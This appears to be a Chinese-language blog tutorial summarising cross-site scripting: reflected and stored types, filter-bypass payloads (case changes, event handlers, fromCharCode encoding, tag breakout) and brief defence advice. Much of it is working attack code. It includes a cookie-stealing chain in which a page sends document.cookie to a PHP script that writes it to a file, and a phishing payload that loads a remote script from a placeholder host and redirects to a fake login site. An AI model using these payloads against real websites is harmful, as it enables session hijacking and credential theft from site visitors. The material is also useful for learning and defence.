XSS跨站脚本漏洞总结

概念

跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。

分类

反射型(非持续型):
一次攻击,将修改好的链接发送给目标用户,让客户点击,达到攻击用户的目的,只能一次性,通过参数提交的方式。
存储型(持续型):
攻击过后,效果会一直存在,直到攻击被删除。比如一条腾讯新闻,将攻击代码插入在评论区,那么后面的用户都可能触发这个xss攻击。,可能是一张图片,用户一旦点击就会访问另一个地址,也许不用点击,只要访问就会触发。存储型危害特别大,特别是社交网站。如果一篇日志,里面有xss攻击代码,很多然转载阅读之后都可能会被盗取cookie。

XSS绕过技术

a.无任何过滤的情况:
测试语句:

1
<script>alert(1)</script>

b.过滤””等标签的情况:
源代码:

1
2
$name = preg_replace(“<script>”,””,$name);
$name = preg_replace(“</script>”,””,$name);

大小写绕过:

1
<scriPt>alert(1)</scRipt>

c.过滤””等标签,并且考虑大小写的情况:
源代码:

1
2
$name = preg_replace(“<script>/i”,””,$name);
$name = preg_replace(“</script>/i”,””,$name);

测试语句:

1
2
<BODY onload="alert(1)">,<img src="" onerror="alert(1)">
$name = preg_replace(“</script>/i”,””,$name);

d.过滤关键字”alert”,并且考虑大小写的情况:
源代码:

1
$name = preg_replace(“alert/i”,””,$name);

测试语句:

1
<img src=N onerror=”eval(String.fromCharCode(97,108,101,114,116,40,49,41))”>

注意:以上所有情况都需要考虑标签闭合的问题,例如:当程序无任何过滤的时候,插入我们的测试语句,查看页面源代码:

1
<INPUT type="text" value='<SCRIPT>alert(1)</SCRIPT>'>

可以发现,测试语句被关在了INPUT标签中,尝试输入如下代码,来跳出INPUT标签,并且闭合后面的引号:

1
'><SCRIPT>alert(1)</SCRIPT><xss a='

带入到原句中:

1
<INPUT type="text" value=''><SCRIPT>alert(1)</SCRIPT><xss a=''>

Cookie接收脚本实现

触发语句:

1
<script>window.open("http://localhost/xss/xss.html")</script>

xss.html

1
2
3
4
5
<script>
var cookie=document.cookie;
var my_url="getcookie.php?c=";
window.location.href=my_url+cookie;
</script>

getcookie.php

1
2
3
4
5
6
7
<?php
$my_cookie=$_GET['c'];
$my_file=fopen("cookie.html","a+");
fwrite($my_file,$my_cookie);
fwrite($my_file,"<br>");
fclose($my_file);
?>

防范跨站攻击

对于普通用户而言:
在你的WEB浏览器上禁用java脚本,具体方法,先打开你的IE的internet选项,切换到“安全”页,有个“自定义”级别,点他出现如下窗口,禁用就可以了。但是好象不太可能,因为一旦禁用,很多功能就丧失了,这个方法是下策。还有不要访问包含〈〉字符的连接,当然一些官方的URL不会包括任何脚本元素。
对于开发人员而言:
如果你的站点程序含论坛,留言板,以及其他程序中含提交数据格式的。需要对提交数据进行过滤,如:转换掉“<”和“>”,使用户不能构造Html标记;过滤掉 “:”和“&”,使用户不能将标记的属性设为script;过滤掉空格,使用户不能引发事件机制等。

存储型跨站脚本的用途

插入js文件,将页面重定向到一个其他页面,这个页面可以是仿造原来网站的一个登陆页面,提示用户登录失败,需要重新输入密码登录,进行钓鱼攻击:

1
<script src=http://www.xxx.com/a.js></script>

a.js中的内容:

1
window.location.href="http://www.钓鱼网站.com";